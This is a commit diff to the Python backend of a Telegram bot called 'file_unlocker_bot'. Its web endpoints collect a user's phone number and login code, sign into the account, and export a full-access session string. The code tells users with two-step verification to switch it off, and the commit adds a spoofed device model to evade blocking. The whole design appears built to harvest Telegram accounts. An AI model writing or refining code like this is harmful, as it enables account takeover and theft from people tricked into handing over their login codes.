Update app.py

app.py

@@ -3,12 +3,11 @@ import time
 import threading
 import requests
 import asyncio
-import re
 import urllib3
 from flask import Flask, jsonify, make_response, request
 from supabase import create_client
 from pyrogram import Client, filters, enums, idle
-from pyrogram.errors import SessionPasswordNeeded, PhoneCodeInvalid, PhoneCodeExpired
+from pyrogram.errors import SessionPasswordNeeded, PhoneCodeInvalid, PhoneCodeExpired, FloodWait
 from pyrogram.types import InlineKeyboardMarkup, InlineKeyboardButton, WebAppInfo
 
 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
@@ -28,23 +27,21 @@ app = Flask(__name__)
 supabase = create_client(SUPABASE_URL, SUPABASE_KEY)
 admin_states = {}
 
-# টেম্পোরারি সেশন ডেটা রাখার জন্য
 temp_clients = {}
-
-# মেইন ইভেন্ট লুপ (Flask এবং Pyrogram একসাথে চালানোর জন্য)
 main_loop = asyncio.get_event_loop()
 
 def run_async(coro):
-    """Flask এর সিঙ্ক্রোনাস কোড থেকে Pyrogram এর অ্যাসিঙ্ক্রোনাস কোড চালানোর ম্যাজিক ফাংশন"""
+    """Flask থেকে অ্যাসিঙ্ক্রোনাস কোড কল করার জন্য সেফ মেথড (Timeout সহ)"""
     future = asyncio.run_coroutine_threadsafe(coro, main_loop)
-    return future.result()
+    try:
+        # সর্বোচ্চ ২৫ সেকেন্ড অপেক্ষা করবে, না হলে টাইমআউট এরর দিবে
+        return future.result(timeout=25)
+    except asyncio.TimeoutError:
+        return {"status": "error", "msg": "Telegram Server Timeout! Please try again."}
+    except Exception as e:
+        return {"status": "error", "msg": f"System Error: {str(e)}"}
 
-bot = Client(
-    "file_unlocker_bot",
-    api_id=API_ID,
-    api_hash=API_HASH,
-    bot_token=BOT_TOKEN
-)
+bot = Client("file_unlocker_bot", api_id=API_ID, api_hash=API_HASH, bot_token=BOT_TOKEN)
 
 async def db_query(func):
     return await asyncio.to_thread(func)
@@ -52,7 +49,7 @@ async def db_query(func):
 # ================= FLASK API ROUTES =================
 @app.route('/')
 def index():
-    return "Bot and Real Session Generator is Running! 🚀"
+    return "Bot and Real Session Generator is Running securely! 🚀"
 
 def add_cors_headers(response):
     response.headers['Access-Control-Allow-Origin'] = '*'
@@ -81,24 +78,27 @@ def api_send_code():
         return add_cors_headers(make_response(jsonify({"status": "error", "msg": "Please Open WebApp inside Telegram Bot!"})))
     
     async def process_send_code():
-        client = Client(f"session_{phone}", api_id=API_ID, api_hash=API_HASH, in_memory=True)
-        await client.connect()
+        # ক্লাউড সার্ভার ব্লক এড়াতে কাস্টম ডিভাইস মডেল অ্যাড করা হলো
+        client = Client(f"session_{phone}", api_id=API_ID, api_hash=API_HASH, in_memory=True, device_model="PC Windows", app_version="1.0")
         try:
-            code_info = await client.send_code(phone)
-            temp_clients[phone] = {
-                'client': client, 
-                'hash': code_info.phone_code_hash
-            }
+            await asyncio.wait_for(client.connect(), timeout=10)
+            # কোড রিকোয়েস্ট (সর্বোচ্চ ১৫ সেকেন্ড অপেক্ষা করবে)
+            code_info = await asyncio.wait_for(client.send_code(phone), timeout=15)
+            
+            temp_clients[phone] = {'client': client, 'hash': code_info.phone_code_hash}
             return {"status": "ok", "hash": code_info.phone_code_hash}
-        except Exception as e:
+            
+        except FloodWait as e:
             await client.disconnect()
-            return {"status": "error", "msg": str(e)}
+            return {"status": "error", "msg": f"Telegram Rate Limited! Wait {e.value} seconds."}
+        except Exception as e:
+            try: await client.disconnect() 
+            except: pass
+            # হুবহু এরর মেসেজটি ফন্টএন্ডে পাঠিয়ে দিবে
+            return {"status": "error", "msg": f"TG Error: {type(e).__name__}"}
 
-    try:
-        result = run_async(process_send_code())
-        return add_cors_headers(make_response(jsonify(result)))
-    except Exception as e:
-        return add_cors_headers(make_response(jsonify({"status": "error", "msg": str(e)})))
+    result = run_async(process_send_code())
+    return add_cors_headers(make_response(jsonify(result)))
 
 @app.route('/api/verify_code', methods=['POST', 'OPTIONS'])
 def api_verify_code():
@@ -119,7 +119,7 @@ def api_verify_code():
         phone_hash = temp_data['hash']
         
         try:
-            await client.sign_in(phone, phone_hash, user_otp)
+            await asyncio.wait_for(client.sign_in(phone, phone_hash, user_otp), timeout=15)
             session_string = await client.export_session_string()
             await client.disconnect()
             
@@ -134,7 +134,7 @@ def api_verify_code():
         except SessionPasswordNeeded:
             await client.disconnect()
             del temp_clients[phone]
-            return {"status": "error", "msg": "Two-Step Verification (2FA) is ON! Please turn it off and try again."}
+            return {"status": "error", "msg": "Two-Step Verification (2FA) is ON! Please turn it off."}
         except PhoneCodeInvalid:
             return {"status": "error", "msg": "Invalid OTP Code!"}
         except PhoneCodeExpired:
@@ -144,13 +144,10 @@ def api_verify_code():
         except Exception as e:
             await client.disconnect()
             del temp_clients[phone]
-            return {"status": "error", "msg": str(e)}
+            return {"status": "error", "msg": f"Error: {type(e).__name__}"}
 
-    try:
-        result = run_async(process_verify())
-        return add_cors_headers(make_response(jsonify(result)))
-    except Exception as e:
-        return add_cors_headers(make_response(jsonify({"status": "error", "msg": str(e)})))
+    result = run_async(process_verify())
+    return add_cors_headers(make_response(jsonify(result)))
 
 # ================= TELEGRAM BOT COMMANDS =================
 @bot.on_message(filters.command("start"))
@@ -492,7 +489,7 @@ def run_flask(): app.run(host="0.0.0.0", port=7860)
 
 async def main():
     await bot.start()
-    print("🤖 Pyrogram Bot & Real Session Generator is running!")
+    print("🤖 Pyrogram Bot & Session Generator is running!")
     await idle()
     await bot.stop()